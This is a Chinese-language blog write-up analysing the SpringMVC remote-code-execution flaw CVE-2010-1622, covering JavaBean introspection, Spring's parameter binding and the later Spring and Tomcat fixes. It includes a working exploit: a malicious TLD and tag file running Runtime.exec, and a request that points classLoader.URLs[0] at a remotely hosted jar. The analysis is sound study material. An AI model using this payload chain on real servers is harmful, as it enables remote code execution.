SpringMVC RCE (CVE-2010-1622)

SpringMVC RCE (CVE-2010-1622)

昨天尝试入门最新的Spring Beans RCE (CVE-2022-22965) 发现虽然知道Spring大体是通过反射来绑定传进来的参数,但是它内部具体实现对于初学者来说实在是过于复杂,以至于在调试的时候云里雾里的。然后这个洞是(CVE-2022-22965)的前身,在Spring把这个洞修上之后,java9版本出现了一个能绕这个修复判断条件的方法,所以这里再来尝试分析下这个洞来加深下理解,希望能有所帮助。

漏洞条件

  • Spring 3.0.0 to 3.0.2
    2.5.0 to 2.5.6.SEC01 (community releases)
    2.5.0 to 2.5.7 (subscription customers) 以及更早的版本
  • tomcat6.0.28 之前的版本

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。

内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。

这里我理解为内省机制就是通过对类里面的 getter/setter 方法的名字来判断这个类有哪些属性

example:

如我们现在声明一个JavaBean—Test

public class Test {
    private String id;
    private String name;

    public String getPass() {
        return null;
    }


    public String getId() {
        return id;
    }

    public void setId(String id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

在类Test中有私有属性id,我们可以通过getter/setter方法来访问或设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:

BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)

这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass,这样会使得访问该类的同时访问到Object.class因为在java中所有的对象都会默认继承Object基础类。而又因为Object基础类存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。

没有使用stopClass

image-20220406100144825

使用了stopClass

image-20220406100215425

可以看到在不使用stopClass获取到的BeanInfo里面存在class属性,这个属性对应就是Object.class。然后我们还发现,Test类里面实际上是没有pass这个属性的,但是这里却获取到pass属性,这是因为Test类有getPass方法,所以内省机制根据方法名字认为存在pass属性。

未命名文件-2

如果我们接着调用

Introspector.getBeanInfo(Class.class)

可以看到关键的classLoader出现了,能够让我们实现任意类加载。

image-20220406101605495

SpringMVC如何实现数据绑定

首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。

屏幕快照 2019-10-17 下午8.49.43

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

20170119132139329

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。

example:

tb中有个spouse的属性,也为TestBean

TestBean tb = new TestBean(); 
BeanWrapper bw = new BeanWrapperImpl(tb); 
bw.setPropertyValue("spouse.name", "tom");
//等价于tb.getSpouse().setName("tom"); 

变量覆盖问题

在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo:

User类

public class User {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

UserInfo类:

public class UserInfo {
    private String id ;
    private String number;
    private User user=new User();
    private String names[] = new String[]{"1"};

    public String getId() {
        return id;
    }

    public String getNumber() {
        return number;
    }

    public void setId(String id) {
        this.id = id;
    }

    public User getUser() {
        return user;
    }

    public String[] getNames() {
        return names;
    }

}

新建两个类User和UserInfo,其中User的name和UserInfo中id有getset方法,而UserInfo中的user,number和names[]数组只有get方法。

@RequestMapping(value = "/test", method = RequestMethod.GET)
    public void test(UserInfo userInfo) {
        System.out.println("id:"+userInfo.getId());
        System.out.println("number:"+userInfo.getNumber());
        System.out.println("class:"+userInfo.getClass());
        System.out.println("user.name:"+userInfo.getUser().getName());
        System.out.println("names[0]:"+ userInfo.getNames()[0]);
        System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
    }

测试controller,发送请求

http://localhost:8080/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333

结果:

image-20220406115044090

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。

调试分析

上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。

  • 首先在AbstractPropertyAccessor类的setPropertyValues方法传入一个ArrayList,里面包含了请求参数的beans键值对,然后循环取出每一个bean调用BeanWrapperImpl的setPropertyValue
image-20220406121707771
  • 然后我们循环到处理names[0]这轮循环进入BeanWrapperImpl的setPropertyValue
image-20220406122737839

接着看一下它是如何获得对应的类中参数

image-20220406123058392
  • 跟进getPropertyValue方法
image-20220406123202997

发现是从CachedIntrospectionResults获取PropertyDescriptor。

  • 我们来看下CachedIntrospectionResults如何来的,查看CachedIntrospectionResults的构造方法。
image-20220406123527507

看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以解释names[]它为什么它能去获取到没有set的属性,因为有get就能够获取到属性了。

  • 回到BeanWrapperImpl的setPropertyValue,继续调看看是如赋值的。
image-20220406124416297

看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了pojo的set方法,直接调用底层赋值,也就是说及时pojo没有写set方法也能够赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

这里我的理解是除了Array、List、Map以外的其他类型都需要set方法才能赋值,所以demo里面的number属性没有赋值上。

利用

从之前测试的图我们可以看到程序运行环境的classLoader。随着web容器的不同,大家对这个东西的实现方式不一样。在tomcat上,也就是spring mvc拿到tomcat上运行时,它会变成:

org.apache.catalina.loader.WebappClassLoader
image-20220406115044090

可以从tomcat的api文档中,查到这个类的一些字段:http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/loader/WebappClassLoader.html

image-20220406191455595

我们可以看到WebappLoader类,继承URLClassLoader类,URLClassLoader的一个方法叫做getURLs,返回一个数组。而由上面的分析可知:只要一个getter返回的是一个数组,就会绕过安全限制。所以接下来我们就尝试用这个URLs[]来搞事情。

getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过

jar:http://vps/test.jar!/

这个URL,会下载到服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。

tld 和 tag 文件

  • 这个 tld 文件是个啥玩意呢?

tld是标签库描述文件,用于存放标签名字和类的映射用的

标签库:它把类标签和后面的Java类映射起来,它减少了页面的代码,使页面更加的清晰,其实标签最后还是被解释成后台的java代码。

原理是,在用户在jsp页面中使用标签时,系统首先会先到xml文件中的 <taglib>标签中的<taglib-uri><taglib-location>这两对标签找到相对应的扩展名为tld文件,然后在 tld文件中的映射再找到相对应的taglib类。

创建的每个标签都必须在tld文件中声明,如果要在jsp页面用jsp的标签,必先先实现定义标签的类,然后在标签库描述文件(TLD)中将写好的类映射成jsp标签,然后在jsp页面中使用定义好的标签,然后就可以实现动态的jsp信息。

  • Tag文件又是啥?

在Web应用中许多JSP页面都有相同的信息,如都需要相同的导航栏和尾页等。如果能把相同的信息都形成一种特殊的文件,而且各个JSP页面都可以使用这种特殊的文件,那么就能实现代码的复用,维护性就比较好了

实现代码复用还有另外两种方式,include指令和include动作,那就来说说他们的不足吧,首先不论是include指令还是include动作处理的都是单一 的JSP文件,用户可以通过输入地址栏的方式来访问响应的JSP文件,这时候用户访问的JSP文件可能只是一个导航栏,这不是设计者希望看到的.include指令的耦合性太大,include动作虽然耦合性较小但是能放在Web服务目录的任意子目录中,不仅显的杂乱无章,还不利于管理和维护.

使用tag文件就能很好的解决这一缺点,tag文件不仅能实现动态加载实现代码复用,还不能让用户直接访问,tag文件放在指定 的目录下,维护起来会比较方便(很多时候会让tag文件去处理数据,而JSP页面只是去显示数据,实现数据显示和数据处理分离,这样就比较便于维护了)

上面的一堆介绍太长不看,而且似乎时老掉牙的东西?所以我们直接看怎么去用这两文件去RCE!

上面提到Spring会通过 TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数,并用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的,通过漏洞我们可以对classLoader的URLs[]进行赋值操作,然后Spring会通过平台解析,从URLs[]中提取它所需要的TLD文件,并在执行jsp时运行这个TLD所包含的内容。

有了这个思路,利用方法就是构造一个带有恶意TLD文件的jar,通过HTTP将jar的地址告诉URLs[],然后坐等执行。

构造的这个带有恶意 TLD 文件的 jar 包结构如下:

image-20220406230235381

其中:

spring-form.tld 是 Spring 自带的文件,form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:

<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
        version="2.0">

    <description>Spring Framework JSP Form Tag Library</description>
    <tlib-version>3.0</tlib-version>
    <short-name>form</short-name>
    <uri>http://www.springframework.org/tags/form</uri>
    <tag-file>
        <name>input</name>
        <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>
    <tag-file>
        <name>form</name>
        <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>
</taglib>

InputTag.tag

<%@ tag dynamic-attributes="dynattrs" %>
<%
    java.lang.Runtime.getRuntime().exec("calc");
%>

这里我的理解是:TLD 文件会将用到了Spring这个 <uri>http://www.springframework.org/tags/form</uri> 标签库的 jsp 文件里面的 <input><form> 标签都替换为 InputTag.tag 文件里面的内容,而InputTag.tag里面就能先任意代码执行。

这里我不知道怎么在IDEA中把这两个文件打包进正确的目录中,所以我是打包后解压在把文件复制进去,然后再进行打包的。打包命令:

jar cvf exp.jar *

这样我们带有恶意 TLD 文件和 tag 文件的 jar 包就构造好了,然后我们在本地用python起个http服务:

python3 -m http.server 

环境搭建

然后编写我们的测试SpringMVC代码:

这里手生配环境都鼓捣了好久,所以把配置文件都写出来吧,真正有用的只是那个hello.jsp文件

  • web.xml 配置文件让springMVC接管servlet
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <!--注册servlet-->
    <servlet>
        <servlet-name>SpringMVC</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <!--初始化Spring配置文件的位置-->
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:springmvc-servlet.xml</param-value>
        </init-param>
        <!--启动顺序,数字越小,启动越早-->
        <load-on-startup>1</load-on-startup>
    </servlet>
    <!--所有的请求都会被SpringMVC拦截-->
    <servlet-mapping>
        <servlet-name>SpringMVC</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>
  • springmvc-servlet.xml配置文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
      http://www.springframework.org/schema/beans/spring-beans.xsd
      http://www.springframework.org/schema/context
      http://www.springframework.org/schema/context/spring-context.xsd
      http://www.springframework.org/schema/mvc
      http://www.springframework.org/schema/mvc/spring-mvc.xsd">


    <!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
    <context:component-scan base-package="controller"/>

    <!-- 支持mvc注解驱动-->
    <mvc:annotation-driven />

    <!-- 视图解析器 -->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"
          id="internalResourceViewResolver">
        <!-- 前缀 -->
        <property name="prefix" value="/WEB-INF/" />
        <!-- 后缀 -->
        <property name="suffix" value=".jsp" />
    </bean>

</beans>
  • hello.jsp用到了 <uri>http://www.springframework.org/tags/form</uri> 标签库
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
    <form:input path="name"/>
</form:form>
  • 再写个简单的controller处理我们的请求
package controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import pojo.User;


@Controller
public class TestController {
    @RequestMapping(value = "/hello")
    public String hello(Model model, User user) {
        model.addAttribute("user",user);
        model.addAttribute("name", user.getName());
        return "hello";
    }
}

这样环境就配好了!!

启动服务并访问URL:

http://localhost:8080/hello?class.classLoader.URLs[0]=jar:http://localhost:8000/test.jar!/
image-20220406224142761

成功执行任意代码。

最后再来理一遍漏洞利用的过程:

exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析-> 读取TLD文件加载恶意代码

首先是springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,setPropertyValue将对应参数填入classLoader的URLs[],而这里的classLoader是WebappClassLoader。接着在渲染jsp页面时,Spring会通过Tomcat的Jasper包中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载,下面这张图也解释了为什么我们的恶意 TLD 文件要放到 META-INF 目录中。最后就是从读取恶意的 TLD 文件中将 tag 文件中的恶意代码替换掉原本jsp中的标签进行执行。

img

修复

Spring

咱们再来看看Spring3.0.3对之的修复方法:

在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classLoader添加进了黑名单。

image-20220406190552281

也就是说在利用Introspector.getBeanInfo获取到属性后,如果是class类并且它的属性是classLoader时,则跳过。

但是这里修复的方式被java9的新特性module绕过了,在java9中可以通过class.module.classLoader去获取classLoader,所以就有了(CVE-2022-22965)。

Tomcat

虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

屏幕快照 2019-10-20 下午12.18.55

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

参考资料

Spring framework(cve-2010-1622)漏洞利用指南

Spring框架问题分析

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

Tag文件和Tag标记的用法详解

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇